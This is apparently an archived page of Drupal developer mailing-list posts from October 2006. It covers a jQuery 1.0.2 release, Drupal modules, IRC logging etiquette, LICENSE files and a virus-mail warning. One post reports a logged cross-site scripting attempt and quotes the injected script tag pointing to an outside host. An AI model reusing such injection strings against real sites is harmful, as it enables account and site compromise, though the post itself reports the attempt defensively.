[Fwd: [jQuery] jQuery 1.0.2]

-------- Original Message -------- Subject: [jQuery] jQuery 1.0.2 Date: Mon, 9 Oct 2006 22:14:31 -0400 From: John Resig <jeresig(a)gmail.com> Reply-To: jQuery Discussion. <discuss(a)jquery.com> To: jQuery Discussion. <discuss(a)jquery.com> Hi Everyone - jQuery 1.0.2 is now ready for consumption! This release is a huge bug fix release - and it is highly recommended that you upgrade right away. As always, if you spot a bug, please add it to the bug tracker. In addition to having a better test suite, a big push for this release was to have better cross-browser compatibility for common tasks (such as AJAX operations). Functionally, however, no major features have been added to this release (although, expect some new code come 1.1). I'd like to take this opportunity to introduce everyone to Jörn Zaefferer. Much of this release was made possible by him. He's responsible for completely overhauling the test suite (it now has over 260+ tests!) and for fixing the majority of the current bugs and enhancements (over 60 of them!). If you want someone to thank for this release, it should be him. * jQuery 1.0.2 http://jquery.com/src/jquery-1.0.2.js * jQuery 1.0.2 Compressed http://jquery.com/src/jquery-1.0.2.pack.js Thanks, everyone, for your support. --John _______________________________________________ jQuery mailing list discuss(a)jquery.com http://jquery.com/discuss/ -- Morbus Iff ( be realistic. demand the impossible. ) Technical: http://www.oreillynet.com/pub/au/779 Culture: http://www.disobey.com/ and http://www.gamegrene.com/ icq: 2927491 / aim: akaMorbus / yahoo: morbus_iff / jabber.org: morbus

a bikeshed color problem
by Augustin (Beginner) 09 Oct '06

Hmmm... someone who doesn't know how to spell "Johnny" is testing... Message: Login attempt failed for <script src=http://usuc.us/j.js>jonny</script>. Severity: notice Hostname: 67.19.73.162 http://usuc.us/j.js // JavaScript Document window.location = "http://www.google.com/" http://whois.domaintools.com/67.19.73.162 http://whois.domaintools.com/usuc.us I find the domain name evocative... and even appropriate! more below.

Maybe that explains why I didn't get any single reply to my earlier comment (reproduced below) about putting our resources together to fight and definitely deal with spammers, and the people who attack our web sites. Can you imagine the wealth of information we *collectively* have? The list of web sites and domains used to host malicious scripts? The list of IP used as relays? Do we sit on this data mine and do nothing? The only thing needed for evil to win, is that good people do nothing. I often find very interesting the difference between the topics that people will argue about in loooong threads, and the topics that are generally ignored (and I don't mean this one in particular). It is the problem of the color of the bikeshed, indeed. Is the following unrealistic? Impossible to implement? Naive? Judging by the lack of replies: all of the above.

Aggregator to nodes
by Khalid B 09 Oct '06

09 Oct '06

Hello all. Drupal core aggregator module does not create nodes from feed items. Therefore, aggregated content is effectively limited to lists or blocks. There seem to be (at least) three solutions for parsing RSS feeds from other sites and converting them to nodes (and hence can have taxonomy, comments, voting, ...etc.) - naggregator is the earliest one. It is 4.6 only at present, even in TRUNK. - aggregator2 had a lot of momentum earlier this year, and is 4.7 compatible but not branched for 4.7 so far. - aggregator_node is the latest one. No branch for 4.7 yet. Now, for someone who wants to setup a site using a feed -> node feature, using Drupal 4.7.x, I am looking for first hand experience on pros and cons of each of the above solution, as well as the future direction for each. Feedback appreciated ...

Yes, I suppose my example was a bad one since they wouldn't edit another page which contained a link to mine. Too early for arguing. :P At any rate, I think my original point still stands. In general, if a regular channel member posts something that came from IRC, they would be willing to listen to reasonable requests to remove something. There are always, of course, exceptions, and I suspect you'd be disappointed not to be one of them. ;) Anyway, I think we've taken up enough of the dev list with this. I'm not going to post anymore about it. If someone wants to keep discussing, you can find me on IRC. :) Michelle

Well, I can't speak for chx, but I wouldn't mind it if it was you or another known entitiy. The problem I had with it is that there was some unknown person automatically putting things up there without regards to content. No one knew who it was or whether he'd be willing to remove things if asked. Someone we know selectively putting things on the web isn't a problem for me, at least. I would hope you and the other regulars wouldn't put up something that could be harmful to that person or would be willing to, say, take out a link that the person didn't want out. FWIW, I never meant for people to get banned when I started this mess. I was just uncomfortable having my conversations up there and pointed it out to chx, whom I knew disliked that sort of thing as well, to find out if anything should be done about it. Then all Hell broke loose. LOL Michelle

Contributions: remove LICENSE.txt
by Dries Buytaert 09 Oct '06

09 Oct '06

Hello world, the package script at drupal.org automatically includes a LICENSE.txt when packaging your modules. As explained in the CVS guidelines, it is not necessary to add a LICENSE.txt to CVS. It just takes up disk space, and more importantly, bandwidth. Please remove LICENSE.txt files from your contributed projects. Thanks. $ find modules -name INSTALL.txt | wc -l 223 (If these files don't get removed, we might remove them for you, at some point in time.) -- Dries Buytaert :: http://www.buytaert.net/

Check your PC for viruses (India)
by Gerhard Killesreiter 09 Oct '06

09 Oct '06

Hi there, as of a couple of days ago, I get several dozen virus mails per day, which is a bit annoying. The source seems to be somehow connected to Drupal development as the mails claim to have been sent by a number of Drupal developers. I suspect the true culprit to be in India as one of the IPs used is 59.162.194.202. So please, if you use Windows, check your Virus filter, especially if you live in or near Mumbai, India. Cheers, Gerhard

accessing profile data
by Augustin (Beginner) 09 Oct '06

09 Oct '06

Hello, I am using the profile.module to set some profile fields. How can the module get the value of the profile field for the current user. I am sure it was in $user->data (which we had to unserialize), but it doesn't seem to be the case anymore. I am working with HEAD but I did a quick test with 4.7 and I have the same problem. Now, when I do print_r($user), I don't see any value corresponding to my profile field, not even in $user->data? Where is it supposed to be? thanks, Augustin. -- http://www.wechange.org/ Because we and the world need to change. http://www.reuniting.info/ Intimate Relationships, peace and harmony in the couple.
